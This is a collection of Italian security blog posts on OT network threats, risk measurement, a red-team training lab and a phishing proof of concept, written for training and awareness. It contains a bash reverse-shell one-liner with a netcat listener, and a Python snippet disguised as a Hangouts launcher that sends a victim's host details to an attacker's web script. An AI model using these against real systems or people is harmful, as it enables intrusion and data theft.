Come da titolo il tema è la sicurezza (cyber) delle infrastrutture OT più comunemente denominate “reti di fabbrica” ma che di fatto sono qualcosa di più complesso di una infrastruttura di interconnessione tra sistemi industriali. Scopo della sessione è stato l’introduzione alle possibili minacce alle quali i sistemi industriali possono essere esposti e discutere alcune specificità che rendono questi sistemi potenzialmente più facili da aggredire.

Come accennato la sessione è stata presentata in condivisione con Andrea con il quale, a staffetta, ci siamo divisi gli argomenti. In questo post sintetizzo i temi da esposti: una introduzione, più volte argomentata anche in altri contesti, in relazione al modello di business del cyber crime con alcuni esempi “famosi” per essere stati particolarmente efficaci, seguita da una sessione dedicata ad alcune peculiarità tecniche e di gestione dei device OT/ICS che, se non correttamente presidiate, possono essere veicoli per alcune tipologie di attacchi.

Il modello di business del cyber crime

Ne ho parlato in moltissime occasioni e non mi voglio ripetere in questo post (qui uno degli articoli passati) quindi mi limito a ricordare che il cyber crime è a tutti gli effetti un business digitale, è l’estensione nel cyber spazio del crimine “tradizionale”, il suo scopo è fare quattrini. Il cyber crime non centra nulla con l’attivismo e tantomeno con l’hacking e gli hacker.

Alcune delle principali minacce in ambito OT

Andiamo dritti al centro della questione tecnico-operativa sui cui abbiamo presentato uno dei focus (non è l’unico ovviamente): l’accesso e la manutenzione remota dei devices OT. Le componenti informatiche di un impianto industriale sono molto frequentemente interconnesse alla rete locale (la rete di fabbrica) per dialogare tra loro e per consentire monitoraggio e manutenzione da parte del vendor.

Nel migliore dei casi il vendor ha pensato ad una soluzione per approcciare la gestione da remoto del device ma spesso si incontrano non poche difficoltà, o peculiarità, delle reti che ospitano tali dispositivi. In questo contesto, se non normato, avviene di tutto: dai dispositivi interconnessi ai quali viene concesso di accedere alla rete internet senza uno specifico blocco o controllo così da consentire al vendor un’accesso autonomo al device tramite VPN o tunneling, fino ad esporre il device direttamente alla rete pubblica.

E’ ovvio che in qualche modo il vendor deve poter accedere al disposizioni per garantirne la manutenzione ma tale esigenza deve essere opportunamente gestita. In generale si sconsiglia di adottare metodi di accesso remoto che non siano in qualche misura controllati/presidiati dall’amministratore della rete che deve poter attivare/disattivare il tunnel e registrare l’evento di accesso al device. A tal proposito tutto ciò che in qualche misura “aggira” i controlli imposti dall’amministratore (es: Modem LTE all’interno dei dispositivi) per quanto comodo non rappresenta una buona idea dal punto di vista della sicurezza dell’infrastruttura.

Opportuno è considerare anche l’affidabilità dei sistemi informatici del personale esterno che accede ai sistemi industriali: se un dispositivo compromesso si connette al nostro impianto esiste la seria possibilità che l’attacker sfrutti questa “connessione” per accedere all’infrastruttura oggetto di manutenzione.

Particolarmente interessante è constatare l’incredibile fiducia nel prossimo che si può trovare in chi ha deciso di esporre direttamente alla rete internet sistemi ICS…

C’è poco da dire: per pubblicare un sistema industriale serve una ragione valida e viste le attuali possibilità tecnologiche a me di ragioni valide non me ne vengono.

Ultimo spunto in questa mini-sessione è relativo all’accesso fisico ai sistemi che, per questioni legate alla longevità degli impianti industriali, spesso sono costituiti da componenti che utilizzano software anche molto datati e non aggiornabili. Questa peculiarità mantiene viva la possibilità di sfruttare debolezze non più presenti nei recenti sistemi operativi o gestibili facilmente con policies di sicurezza o protezioni software.

Diventa così relativamente semplice introdurre in una organizzazione un USB drive infetto in grado di compromettere sistemi non particolarmente protetti come è possibile (anche in contesti IT a dire il vero) utilizzare armi come le USB Rubber Ducky.

Dopo il webinar…

… ci sono un paio di aspetti che mi piacerebbe approfondire, in particolare gli scenari di accesso remoto e la discovery di impianti industriali tramite Shodan o altri strumenti di semplice accesso. Su questi temi aspettatevi una live dedicata.

cyber security, hacking

Calcolo del rischio: riflessione sulle tecniche di misura in cyber security

Premetto che in questo post mi avventuro su un tema non propriamente mio (la statistica) applicato al campo della cyber security (che è un po’ più casa mia). Colpa di Mirko Modenese – uno che di statistica ne sa da far cuccioli – che mi tira in ballo in questo suo post.

Nel citato post Mirko fa riferimento al Metodo Monte Carlo, una tecnica di simulazione basata sul campionamento randomizzato. Come dicevo non è esattamente il mio terreno di gioco quindi non ho gli strumenti per spiegare decentemente di cosa si tratta ma ricordavo di aver già letto qualcosa in merito in relazione alla possibilità di calcolare il rischio di una specifica misura (come ad esempio un security test o un vulnerability assessment) utilizzando diversi insiemi di valori randomizzati. Così utilizzata questa tecnica consentirebbe di ottenere diversi possibili risultati in relazione ai possibili valori di rischio ottenibili.

E’ un modello che trovo molto interessante soprattutto in considerazione del metodo tradizionalmente utilizzato in molti contesti, tra cui anche le attività di Red Teaming come i citati vulnerability assessment, in cui vengono utilizzati parametri estremamente statici e spesso decontestualizzati per fornire delle stime di rischio totalmente inesatte. Un esempio tipico è l’utilizzo del CVSS score come parametro di rischio quando è un valore che si riferisce alla vulnerabilità e prescinde il contesto. Per calcolare il rischio correlato servono diversi altri valori che l’analista deve in parte definire in funzione del contesto ed in parte stimare o assegnare in base alla propria esperienza e comprensione della specifica vulnerabilità, tenendo in considerazione le possibilità che la vulnerabilità sia sfruttabile o meno in un prossimo futuro.

Quando si eseguono queste valutazioni (e se si eseguono… ho notato che è un tema affrontato da pochi Red Team) potrebbe essere necessario fare delle ipotesi e potrebbe anche essere molto utile tentare di quantificare economicamente il rischio. In questi casi l’applicazione del Metodo Monte Carlo diventa estremamente utile in quanto consente di produrre delle simulazioni realistiche su cui poi basare nuove analisi e, se possibile, decisioni.

Ho incontrato per la prima volta questo approccio in un libro di Hubbard: “How to Measure Anything in Cybersecurity Risk”. All’interno del mio Red Team non ci siamo ancora trovati a fare modellazioni a questo livello ma gli spunti sono stati molti per arrivare a ottenere una misurazione del rischio che sia contestualizzata rispetto al target. Nel caso specifico cerchiamo di disporre di dati oggettivi sul sistema osservato da portarli poi in analisi assieme alle misurazione degli strumenti di rilevamento; dati come il business impact o la tipologia di dato gestito tramite il sistema oggetto dell’assessment diventano quindi elementi essenziali per una corretta stima del rischio.

E’ anche vero che in molti contesti parte di questi dati, tipicamente a carico del cliente, non sono disponibili per diversi motivi: alcune di queste informazioni dovrebbero far parte di sistemi di gestione come l’asset manager o potrebbero essere derivanti da un risk assessment. Nasce quindi l’esigenza di disporre di un metodo che consenta la definizione di modelli realistici anche con dati parziali.

Per approfondire il tema servirebbe proprio Mirko, quindi mi riprometto di coinvolgerlo in una live per vedere come possiamo applicare il Metodo Monte Carlo ad un caso specifico. Tema affascinante e per nulla banale.

cyber security

Master CyberSecurity e Data Protection: riflessioni ed approfondimenti

Lo scorso 26 febbraio ho avuto il piacere dedicare una giornata per una docenza all’interno del Master curato da 24 ore Business School: Executive Master Cybersecurity e Data Protection. Tanti argomenti, quelli discussi nella preparazione del programma, da addensare in sei intense ore dove si sono condivise informazioni ma anche molta esperienza tramite casi di studio e laboratori pratici.

Appena chiusa la lezione mi è immediatamente venuta voglia di scrivere in merito, in parte per “digerire” l’esperienza della docenza, sempre più frequente negli ultimi anni e sempre ricca di emozioni, in parte per ripercorrere gli argomenti che a causa del tempo non ho potuto approfondire. Come ho scritto in un post qualche giorno fa quando ho preparato la sessione ho dovuto necessariamente selezionare gli argomenti da presentare, vorrei quindi provare ad approfondire parte dei contenuti arricchendo ovviamente con dei laboratori pratici che siano di comune utilità. In questo post provo a fare un elenco degli approfondimenti che mi piacerebbe affrontare e nei prossimo giorni, dal mio canale Twitch, inizieremo a discuterli assieme.

OSInt e strumenti

E’ un argomento che appassiona sempre ed ho notato un forte interesse per due specifici strumenti con cui abbiamo un po’ giocato: Shodan e Maltego. Proverei quindi ad approfondire l’utilizzo degli strumenti in se e nel caso di Shodan riprendo un tema di cui avevo parlato in un podcast: la possibilità di utilizzare la piattaforma per automatizzare alcune ricerche. Ci vedo bene un piccolo lab per con un po’ di python.

Analisi e gestione delle vulnerabilità

Argomento troppo vasto. Cosa sia una vulnerabilità è più o meno cosa nota, comprenderla è un altro paio di maniche. L’approfondimento che vorrei fare in questo caso è più di gestione che di operatività. A fare una scansione – permettetemi – son buoni tutti, strutturare e governare un Remediation Plan che abbia un senso è un lavoro un po’ diverso. Parliamo di questo, dobbiamo imparare a gestirla questa “sicurezza cibernetica”.

In questa occasione ha sicuramente senso parlare degli elementi che consentono ad un analista di comprendere gli effetti di una vulnerabilità in un determinato contesto. Il concetto che vorrei quindi analizzare è quello del rischio.

Reverse Shell e C2

Temi che hanno appassionato i più tecnici ma che richiedevano un laboratorio dedicato… e così li approcceremo. Preparerò due laboratori per costruire assieme uno scenario di attacco che preveda l’impiego di una Reverse Shell e di un server di controllo.


Probabilmente ho definito gli argomenti per il prossimo mese di live ma se chi dovesse passare per questa pagina ha qualche ulteriore argomento da proporre sono ovviamente ben lieto di considerarlo.

Prima di chiudere (anche perché qui sono le 02:31 a.m.) due parole sull’esperienza in se. Non possono definirmi un docente, non è il mio ruolo, ma sono convinto che chi ha maturato esperienza in un campo (tanta o poca, non importa) debba in qualche misura condividere qualcosa con il resto della comunità. Che sia sotto forma di pubblicazione, di una docenza, di una intervista… va bene tutto. Il punto è condividere l’esperienza oltre che la conoscenza.

cyber security, hacking

Lab setup per post-exploiting: scenario base

Un post dedicato alla preparazione di un lab destinato ad esercitazioni di attacco e difesa. In realtà si tratta di una versione rivisitata di un lab che avevo implementato a fine 2021 con Andrea Dainese per delle sessioni cyber range di addestramento di un Red Team (esperienza molto interessante tra l’altro). In questa versione del lab conto di aggiungere, con il tempo, qualche elemento in più.

Il lab è di per se uno strumento che in questo caso verrà utilizzato per sessioni dimostrative di attacco in diversi contesti. Con 24 Ore Business School ho in programma delle sessioni specifiche all’interno di un master in Cyber Security e per l’occasione ho voluto preparare delle sessioni dove si possa vedere qualcosa di reale seppur in ambiente “controllato”. Se all’interno del master la scelta degli argomenti è giustamente definita dal programma, sulle mie play-session Twitch c’è spazio per la sperimentazione. In questo periodo mi piace particolarmente giocare con le reverse shell e le azioni di post-exploitation, quindi in questo lab andrò a predisporre elementi vulnerabili in varia forma al fine di provare diverse tecniche di attacco e sperimentare strumenti di detection.

Nello scenario base andiamo ad installare:

  • Un firewall di perimetro con tre network interfaces (WAN, LAN, DMZ)
  • Una VM con sistema operativo Windows Server
  • Una VM con sistema operativo Ubuntu Linux Server
  • Una VM con sistema operativo Windows (client)
  • Una VM d’appoggio per l’attacker (la solita kali alla portata di tutti)

Lo schema finale assomiglia a qualcosa del genere:

lab schema

Per semplicità in questo scenario il firewall è basato su un glorioso pfsense che avrà ovviamente una interfaccia WAN esposta in rete pubblica (per accesso ad internet e NAT), una interfaccia per la DMZ ed una interfaccia per la rete LAN. Nella play-session in preparazione lo scenario coinvolgerà i sistemi in DMZ in quanto vi saranno dei servizi esposti con delle vulnerabilità anche gravi (es: RCE).

Partiamo quindi proprio dai sistemi server ed in particolare dalla VM Ubuntu Linux su cui predisponiamo un set di container appositamente implementati con software vulnerabile: https://github.com/vulhub/vulhub. Sul sistema (target-01 nel mio schema) va quindi installato un po’ di software base:

$ sudo apt-get install python3-pip
...
$ sudo apt-get install docker docker-compose
...

Fatto questo si può procedere con il download del progetto vulnhub:

$ wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
$ unzip vulhub-master.zip 

Ora abbiamo sulla macchina una certa abbondanza di software con cui giocare per provare diverse tipologie di exploit. Il primo scenario a cui dedicare la sessione live del 17 febbraio riguarda la possibilità di guadagnare una reverse shell su uno dei sistemi target partendo da una semplice sessione tcp via netcat.

A prescindere dal software che utilizzeremo come target per la simulazione l’obiettivo è quindi eseguire sul server vittima un comando netcat per aprire una sessione verso la macchina controllata dall’attacker ed adoperarsi per mantenere il link stabilmente attivo. In riferimento allo schema condiviso avremo quindi sulla macchina dell’attacker un netcat in listen pronto a ricevere la sessione dalla macchine vittima…

$ nc -vv -l -p 1337

…e sul sistema target faremo in modo di aprire una sessione verso la macchina dell’attacker con una shell pronta a ricevere i comandi da remoto. Per esempio:

$ sleep 3s && nohup bash -i >/dev/tcp/{R_HOST}/1337 0<&1 2>&1

In questo scenario, potendo il sistema target accedere alla rete internet attraverso il firewall, otterremo che la macchina compromessa sarà governabile da remoto grazie ad una sessione che ha origine dall’interno della rete verso l’esterno.

TODO per la sessione live (tempo permettendo):

  • setup del lab – ovviamente – e panoramica dei sistemi
  • test con la reverse shell sulla macchina target
  • test di exploiting di un sistema vulnerabile per esecuzione reverse shell
  • test di detection: verifica log firewall e test con XDR

Ovviamente la sessione è puramente dimostrativa e l’obiettivo è toccare con mano temi ben noti agli addetti ai lavori ma forse meno frequentati da chi si occupa prettamente di gestione operativa dei sistemi.

Il principio alla base di questi contenuti resta quello della consapevolezza: se capiamo come funzionano gli attacchi informatici avremo più strumenti per comprendere come prevenirli e, in caso di incident, come gestirli.

cyber security, hacking

Social Engineering e Phishing (play session)

Ho avuto l’occasione di discutere assieme al mio red team la realizzazione di una campagna di phishing per la quale abbiamo potuto ragionare senza particolari vincoli. Approfittando delle nuove giovani menti recentemente unitesi al gruppo ho pensato di giocare con diverse tecniche per costruire una campagna con obiettivi differenti rispetto alle classiche azioni di tracciamento. In questo post condivido le idee e la p-o-c della campagna.

Cosa sia il phishing ovviamente lo sanno anche i sassi, è quindi particolarmente interessante osservare quanto sia ancora una tecnica efficace anche quando interessa organizzazioni strutturate. Osservare e misurare il comportamento delle “vittime” di phishing permette di individuare quali siano alcuni dei pattern di comportamento più frequenti. Noto ad esempio come campagne che utilizzano informazioni reali, in riferimento ad eventi o dati che l’attacker ha individuato, registrino un tasso di successo sensibilmente più alto. Diventa quindi assolutamente sensato predisporre simulazioni, in un contesto di security assessment concordato, basate su informazioni reali pattuite con il target o – meglio ancora – individuate tramite specifiche ricerche (OSInt).

Per la campagna descritta in questo lab abbiamo deciso di sviluppare due fasi: nella prima fase l’attacker cerca di instaurare un dialogo con il target per poi inviare, in una seconda comunicazione, un malware camuffato da software lecito.

Le cyberweapons sono quindi due: la stessa comunicazione via email (dotata di un elemento di tracciamento che non è oggetto di questo post) ed il finto malware costruito appositamente per raccogliere informazioni sul sistema vittima. Ovviamente l’attacker deve disporre di un host d’appoggio per farsi inviare le informazioni che intende carpire. Per “giocare” con questa tecnica iniziamo proprio da questo elemento: l’host controllato dall’attacker.

Per strutturare un lab minimo basta avere una macchina linux con un server di pubblicazione, per questo scenario usiamo un semplicissimo LAMP. Diamoci un obiettivo semplice per partire: il finto malware si limiterà a mandarci tre dati via http: la versione del sistema operativo della vittima, l’hostname e l’indirizzo IP locale. Il server deve quindi limitarsi a raccogliere questi dati e registrarli in un file. Il server che raccoglierà i dati deve quindi avere a bordo un semplice script (in questo lab uso PHP) che riceva le informazioni e le scriva in un log file. Qualcosa di simile a questo:

https://github.com/roccosicilia/sToolz/blob/master/Phishing/attachments/logme.php

Nella repo di GitHub il file completo “logme.php” consente di gestire un paio di condizioni ma la base è invariata. Per eseguire una prova è sufficiente posizionare il file nella Document Root del vostro web server ed accedervi via browser valorizzando opportunamente le variabili in URL.

Test dello script via browser

Preparato il sistema per raccogliere i dati passiamo alla piccola trappola che abbiamo pensato: un semplice eseguibile che chieda le informazioni al sistema vittima e le invii al web server con una semplice http request. Ovviamente non si tratta di un malware in senso stretto per diversi motivi: innanzi tutto è assolutamente innocuo al di la del raccogliere dei dati specifici dal client target, inoltre è assolutamente “stupido” non presentando nessuna tipica caratteristica di camuffamento. Di fatto è un banale script che chiede tre dati e li invia ad un web server.

Per l’occasione lo script viene compilato e gli viene data l’apparenza di file lecito: nel lab, il cui codice è disponibile qui, viene utilizzata l’icona di Hangouts e vengono definite alcune proprietà del file. Gli elementi principali sono ovviamente le chiamate al sistema target:

### platform info
os_ver = platform.platform()

### hostname
hostname = socket.gethostname()

### netinfo
local_ip = socket.gethostbyname(str(hostname))

Nello script disponibile su GitHub ci sono un paio di alternative commentate per provare diverse modalità di raccolta delle informazioni. I dati vengono poi spediti al web server con una semplice requests al già predisposto script logme.php:

url = "{}/logme.php?os_ver={}&hostname={}&local_ip={}".format(target_url, os_ver, hostname, local_ip)
req = requests.get(url)

Il log registrato potrebbe assomigliare a questo:

Tutti gli elementi per il test sono pronti, manca l’innesco che nel caso specifico è costituito da una prima email per creare la “relazione”: in questa campagna abbiamo infatti pensato di inviare una prima comunicazione assolutamente pulita da un indirizzo email creato appositamente senza utilizzare tecniche di spoofing relativamente semplici da intercettare. Ovviamente una comunicazione di questo tipo ha bisogno di altri elementi per attrarre il target, in questo caso abbiamo utilizzato informazioni ricavate dall’analisi OSInt per invitare gli interlocutori ad un meet su un tema di sviluppo aziendale per il quale il White Hat ha ipotizzato un forte interesse da parte del target.

Una comunicazione così formattata non attiva – di solito – nessun sistema di controllo: niente spoofing, niente link sospetti, nessun contenuto pericoloso. Puro engage. In questo scenario le potenziali vittime sono coloro che rispondono al tentativo di engage: si è potenzialmente creato un dialogo, il canale è quindi aperto.

Di fatto abbiamo utilizzato una tecnica di Social Engineering per aprire un canale diretto con delle potenziali vittime. Saranno queste il target dell’attacco di phishing a cui inviare l’invito al meet con la richiesta di scaricare il “launcher” per accedere alla conferenza. Nell’ambito del Social Engineering esistono diverse tecniche di engage che fanno leva sulle abitudini delle vittime e sulla costruzione di uno scenario realistico. Per questo motivo gli attacchi mirati che partono con una banalissima email ben strutturata, con informazioni contestualizzate e con riferimenti a fatti o dati reali, tendono a funzionare molto bene; una volta costruita la relazione con il target è relativamente facile indurlo a scaricare contenuti potenzialmente pericolosi sulla propria workstation al fine di installare un malware o, come nel caso dell’esempio, prelevare informazioni dal sistema vittima.

Ho notato come le campagne mirate tendono a “scremare” il numero delle potenziali vittime: l’approccio in due fasi porta a ridurre di molto il numero dei potenziali target all’interno dell’organizzazione. Contestualmente si ottiene un target molto più “qualificato”.

In definitiva l’attacco si concretizza nel portare la vittima a scaricare il malware per eseguirlo sulla propria workstation:

So a cosa state pensando: “va bhe, ma l’anti-malware blocca una schifezza del genere”. Quasi 🙂

Dovremmo aprire un capitolo enorme su come funzionano gli anti-malware tradizionali rispetto ai più recenti EDR / XDR e tutto quello che riterrete opportuno installare sui vostri End Point. Abbiamo fatto ovviamente alcuni test ed in generale possiamo affermare che un eseguibile “ignorante” come quello proposto in questo piccolo lab viene rilevato nella quasi totalità dei casi dagli EDR / XDR quando si tenta l’esecuzione sulla macchina vittima, gli alti-malware tradizionali fanno decisamente più fatica: nelle prove il file non viene mai rilevato come malevolo in fase di scansione e se eseguito in alcuni casi è scattato il blocco della chiamata http in uscita ma il processo locale è stato eseguito.

I log presentati nell’ultimo screen vengono da sistemi con anti-malware tradizionali tranne uno specifico caso (il penultimo) ove era attivo un EDR in configurazione di default. Questa ultima informazione lascia spazio per un altro tema immenso: la configurazione degli EDR/XDR. E’ banale dirsi che le conf. di default non dovrebbero mai essere usate in produzione, dobbiamo fare i conti con il “mondo vero” dove sono largamente utilizzate esponendo i sistemi a minacce anche banalissime.

Conclusioni

Le note che condivido sono semplici e sostanziali:

  • non sottovalutare il fattore umano… considerazione banale ma visti gli esiti delle campagne di phishing è evidente che ancora non ci siamo
  • la tecnologia è uno strumento potente se lo usate correttamente, in caso contrario si ottiene solo un falso senso di sicurezza